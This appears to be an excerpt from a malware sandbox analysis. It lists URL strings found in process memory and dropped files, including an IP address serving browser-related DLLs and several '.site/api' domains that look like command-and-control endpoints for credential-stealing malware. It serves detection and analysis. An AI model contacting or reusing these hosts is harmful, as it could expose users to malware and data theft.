Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366768729.000000002007D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2775515172.000000001B738000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2789407246.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://49.12.197.9
Source: RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9.0.5938.132
Source: RegAsm.exe, 0000001B.00000002.2589447441.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/(
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/0n
Source: RegAsm.exe, 0000001B.00000002.2589447441.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/1
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/1QW
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/4k
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/9
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/B_F
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/EHCAKF
Source: RegAsm.exe, 0000001B.00000002.2589447441.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/G
Source: RegAsm.exe, 0000001B.00000002.2589447441.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/N
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/e
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/freebl3.dllK
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/mozglue.dllg
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/msvcp140.dllI
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/softokn3.dllu
Source: RegAsm.exe, 0000001B.00000002.2585998316.000000000055E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll&
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll(3
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll5
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll63
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/vcruntime140.dllS
Source: RegAsm.exe, 0000001B.00000002.2585998316.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9DHIDHDHIss.exe
Source: RegAsm.exe, 0000000C.00000002.2737816539.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9HJEBGI
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9IDHDBF
Source: RegAsm.exe, 0000001B.00000002.2585998316.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9IDHDHI
Source: RegAsm.exe, 0000001B.00000002.2585998316.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000463000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000584000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000045D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9ta
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abnomalrkmu.site/api
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://abnomalrkmu.site:443/apiPK
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000103F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/
Source: RegAsm.exe, 0000001C.00000002.2542151523.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/Mx
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/api
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site/api.
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://absorptioniw.site:443/api
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chorusarorp.site/api
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chorusarorp.site/apiK)l
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.co
Source: RegAsm.exe, 0000001B.00000002.2585998316.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000528000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000050E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
